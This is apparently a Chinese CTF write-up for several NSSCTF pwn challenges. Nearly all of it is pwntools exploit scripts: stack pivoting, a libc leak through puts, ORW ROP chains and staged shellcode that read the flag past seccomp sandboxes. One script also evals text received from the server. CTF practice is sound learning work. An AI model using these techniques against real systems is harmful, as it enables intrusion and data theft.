口算题卡

一道计算题,主要考察脚本的编写,但因为没有时间限制,所以可以直接算100道题。

from pwn import*

s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever: io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr: io.success(buf + "==>" + hex(addr))

io = remote("node4.anna.nssctf.cn",28798)
i = 0
while i<100:
try:
if i == 0:
ru("n!\n")
p = rl()
equation = p[8:-2]
pay = eval(equation)
print(equation)
print(pay)
sl(str(pay))
i+=1
else:
ru("t!\n")
p = rl()
equation = p[8:-2]
pay = eval(equation)
print(equation)
print(pay)
sl(str(pay))
i+=1
except Exception as e:
print("Exception occurred:", e)
break
io.interactive()

ezcmp

正如题目描述一样,主要考察的是gdb的使用。

该程序主要实现了将加密过后的字符串与用户输入的字符串进行对比,若一样则可以拿到shell。因为程序所给字符串是固定的,那就直接gdb调试看加密过后的字符串是什么就行了。

直接输入即可。

from pwn import*
io=remote('node5.anna.nssctf.cn',25435)

payload=p64(0x144678aadc0e4072)+p64(0x84b6e81a4c7eb0e2)+p64(0xf426588abcee2052)+p64(0x0000c8cb2c5e90c2)
io.sendline(payload)

io.interactive()

rbp

栈迁移+orw,是一道不错的题目。

可以看出存在栈溢出但长度不够,因此可以打栈迁移。

该程序设置了沙盒,因此打不了常规的system(‘/bin/sh’),那么可以打orw读取flag并打印出来。因为此题不是静态编译,因此要先泄漏libc基址从而获得函数地址。

那么思路就是先修改rbp的值,使得后续能读入到.bss段上,接着再泄漏puts的地址,获得libc基址,最后再打orw。

from pwn import *
context(os="linux", arch="amd64", log_level="debug")

#io = process("./rbp")
io = remote("node4.anna.nssctf.cn",28819)
elf = ELF("./rbp")
libc = ELF("./libc.so.6")

bss = 0x404a00
pop_rdi = 0x401353
leave_ret = 0x40121d
read = 0x401292
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

io.recvuntil(b"it")
payload = b"\x00"*(0x210) + p64(bss + 0x210) + p64(read)
#dbg()
io.send(payload)

pad = p64(bss + 0x210 + 0x28) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read)
pad = pad.ljust(0x210, b"\x00") + p64(bss) + p64(leave_ret)
io.send(pad)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))

open_addr = libc_base + libc.sym["open"]
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pop_rdx = libc_base + 0x142c92
pop_rsi = libc_base + 0x2601f

payload = b"./flag\x00\x00" + p64(pop_rdi) + p64(bss + 0x28) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x40) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x40) + p64(write)
payload = payload.ljust(0x210, b"\x00") + p64(bss + 0x28) + p64(leave_ret)

io.send(payload)
io.interactive()

不可名状的东西

和rbp一样,也是栈迁移+orw,不同点就是没有开启沙盒保护,以及输入的长度有点小,可能需要用新的函数来代替原先的函数,从而减少输入的长度,这里我参考了其他师傅的WP。

from pwn import*
elf=ELF('./level1')
libc=ELF('./libc.so.6')
io=remote('node6.anna.nssctf.cn',28025)

bss=0x404a00
leave_ret=0x040120f
rdi=0x04011c5
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read=0x04011EF

payload=b'\x00'*0x80+p64(bss+0x80)+p64(read)
io.sendline(payload)

pad=p64(bss+0x80+0x28)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(read)
pad=pad.ljust(0x80,b'\x00')+p64(bss)+p64(leave_ret)
io.sendline(pad)

puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc_base=puts-libc.sym['puts']
pop_rdx_rbx = libc_base + 0x904a9
pop_rsi = libc_base + 0x2be51
pop_rcx = libc_base + 0x3d1ee

open_addr = libc_base + libc.sym['open']
sendfile = libc_base + libc.sym['sendfile']

payload3 = b"./flag\x00\x00" + p64(rdi) + p64(bss + 0x28) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload3 += p64(rdi) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rdx_rbx) + p64(0)*2 + p64(pop_rcx) + p64(0x40) + p64(sendfile)
payload3 += p64(bss + 0x28) + p64(leave_ret)
io.send(payload3)

io.interactive()

其实思路与rbp是一样的,只是最后使用sendfile函数代替了read函数以及write函数,从而减少输入的长度。

simple_shellcode

开启了沙盒,使用了mmap函数,那么就可以打orw,由于第一次read的长度太短了,因此我们需要先写一段调用长度够长的shellcode,接着再打orw就可以了。

from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = remote("node5.anna.nssctf.cn", 20707)
io = process("./vuln")
elf = ELF("./vuln")

io.recvuntil(b"shellcode:\n")

read_code = """
xor rdi, rdi
mov rsi, rdx
add rsi, 0xc
syscall
"""
io.send(asm(read_code))

shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0xCAFE0000 + 0x100, 0x100)
shellcode += shellcraft.write(1, 0xCAFE0000 + 0x100, 0x100)
gdb.attach(io)
io.sendline(asm(shellcode))

io.interactive()

为什么在read_code中会有add rsi,0xc?因为若没有这条指令,当执行完read_code时,rsp指向的是0xcafe0000+0x8的位置,那么当rsp继续向下执行时,第二次输入的shellcode就不会被完整执行,从而导致无法获得flag。